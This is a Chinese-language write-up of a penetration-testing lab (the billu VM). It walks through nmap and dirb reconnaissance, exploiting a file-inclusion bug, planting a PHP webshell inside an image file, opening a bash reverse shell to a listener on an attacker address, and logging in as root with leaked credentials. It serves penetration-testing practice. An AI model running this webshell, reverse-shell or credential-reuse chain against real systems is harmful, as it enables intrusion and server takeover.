1、使用nmap扫描网段进行筛选,找到billu的ip
nmap 192.168.88.0/24
kali中自带nmap,将该网段中的ip扫描出来后,进行排除,排除虚拟机上已知打开的虚拟机ip,排除网关,剩余的ip就是billu的ip地址
2、对billu的ip进行端口扫描、指纹扫描
nmap 192.168.88.146 -sV -p1-65535
存在一个80端口是apache的,看看是什么界面
一个登录界面,可以先使用常规sql注入试试能不能登录成功
3、使用dirb扫描目录和文件
由于使用nessus和AWVS没有找到可利用的CVE漏洞,使用dirb扫描
dirb http://192.168.88.146/ /usr/share/dirb/wordlists/big.txt
得到目录文件后,可以一个一个的试试有什么内容,看是否能够利用
4、利用dirb扫描出的目录、文件进行尝试
在add页面可以看见一个图片上传的页面,但是上传之后没有什么反应,可以先暂时放一放;在in界面可以看见phpinfo界面,得到一些配置文件的位置;在test界面可以看见一个提示信息
说file这个参数为空,要向file参数传一个路径,既然要传参我们可以试试get和post,在get时没有什么变化,输出的内容和上面的一致。
使用post进行尝试
跳出一个下载文件的弹窗,说明是post请求,可以使用burp抓包,看看响应的内容,文件包含并且可以得到文件的内容,也可以包含其他已知的页面,得到页面的源代码。
可以得到文件内容,可以用我们前面dirb得到的文件、目录试试,能不能得到相应的内容
刚刚得到的图片上传页面放进去之后发现,上传的图片并没有提交到数据库或者其他页面,是个烟雾弹。
尝试dirb的第二个文件,发现得到了mysql的用户名、密码,在dirb扫描到的文件中有一个phpmy的页面,尝试登录。
5、登录成功,查看数据库信息
发现在ica_lab库中auth表有一个用户名、密码,尝试登录首页。
登录成功,左上角有两个下拉选项,发现第二个下拉选项中可以上传图片,我知道你很急着传一句话木马但你先别急,先看看这个页面的源代码,用刚刚的test页面使用brup进行抓包查看源代码。
6、制作图片码
虽然他限制了我们上传的类型,但是我们可以使用图片码解决
-
先创建一个php文件,内容为:<?php system($_GET['cmd']);?>,等会儿会解释为什么使用get
-
准备一张正常的图片,将他俩放到同一个路径下,在该路径下打开cmd
-
cmd中输入:copy 图片名.类型/b + php文件名.php/a 新图片名.类型
将新图片上传
7、利用图片码进行渗透
对show Users进行抓包分析,可知含有post请求,对load值进行修改,修改为我们上传的图片码的路径,并且图片码中一句话木马为get请求,因为在此页面中已经含有post请求,所以我们在制作图片码时用的get请求
cmd=ls,其中cmd是我们制作图片码时传的get参数名,ls是linux查看当前路径下的文件以及目录。
8、利用反弹shell进行连接
echo "bash -i >& /dev/tcp/192.168.88.129/4445 0>&1" | bash #反弹shell要用url进行编码
----------kali------------
nc -lvp 4445 #kali开启监听
将反弹shell编码后的内容替换刚刚的ls命令,将反弹shell传给cmd
在发送命令前使用kali开启监听
发送后,kali进入billu
但在此时我们为普通用户;
在phpmy目录中的config.inc.php文件中找到了服务器的用户名、密码,进行远程登录
在最开始扫描billu时,发现他开启了22号端口,使用远程连接,查看是否能够成功。
9、远程连接
远程连接成功,此时为root用户。